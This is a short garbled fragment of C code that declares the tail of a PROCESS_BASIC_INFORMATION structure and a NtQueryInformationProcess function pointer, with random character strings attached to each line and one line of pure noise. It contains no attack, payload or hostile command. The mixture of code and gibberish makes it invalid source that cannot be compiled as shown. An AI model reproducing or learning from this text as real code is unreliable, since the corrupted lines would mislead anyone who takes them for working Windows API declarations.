ULONG UniqueProcessId; 6W@UJx}w5
ULONG InheritedFromUniqueProcessId; '[J<=2&
} PROCESS_BASIC_INFORMATION; Nb?w|Ne(T
CxGx8*<X
PROCNTQSIP NtQueryInformationProcess; *ohL&